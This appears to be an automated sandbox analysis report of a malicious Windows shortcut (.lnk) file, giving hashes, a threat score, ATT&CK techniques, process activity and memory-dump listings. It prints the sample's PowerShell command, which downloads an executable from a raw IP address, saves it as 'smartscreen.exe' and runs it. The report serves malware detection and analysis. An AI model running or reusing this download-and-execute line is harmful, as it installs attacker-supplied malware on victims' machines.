8aaed2aa282a84b5ae31cc397c4602e2ec5b376370a19f3e8884d5333d699e34

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
05-11-2024 03:55

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General

Target

8aaed2aa282a84b5ae31cc397c4602e2ec5b376370a19f3e8884d5333d699e34.lnk
Size

2KB
MD5

55954104c8a8dc66a41548f4eed8eeeb
SHA1

16ccdc346e47c1a35f6bfb6ef2af307a17bdada2
SHA256

8aaed2aa282a84b5ae31cc397c4602e2ec5b376370a19f3e8884d5333d699e34
SHA512

c00917341d30c02f918ec0349903fbc4a91af3183240403b9e032730a6ad03b24c068f1a401c978fd426dc2a28f07aaab910e95b0e89b6abed9af25a17187b42

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
484	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
484	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	484	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2672 wrote to memory of 484	2672	cmd.exe	31
PID 2672 wrote to memory of 484	2672	cmd.exe	31
PID 2672 wrote to memory of 484	2672	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\8aaed2aa282a84b5ae31cc397c4602e2ec5b376370a19f3e8884d5333d699e34.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Invoke-WebRequest -Uri "http://79.124.58.130:443/VisitorLevy.exe" -OutFile (Join-Path ([System.IO.Path]::GetTempPath()) "smartscreen.exe"); Start-Process -FilePath (Join-Path ([System.IO.Path]::GetTempPath()) "smartscreen.exe")"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/484-38-0x000007FEF5CDE000-0x000007FEF5CDF000-memory.dmp

Filesize
4KB

Download
memory/484-39-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/484-40-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/484-41-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/484-42-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/484-43-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/484-44-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/484-45-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/484-46-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download
memory/484-47-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp

Filesize
9.6MB

Download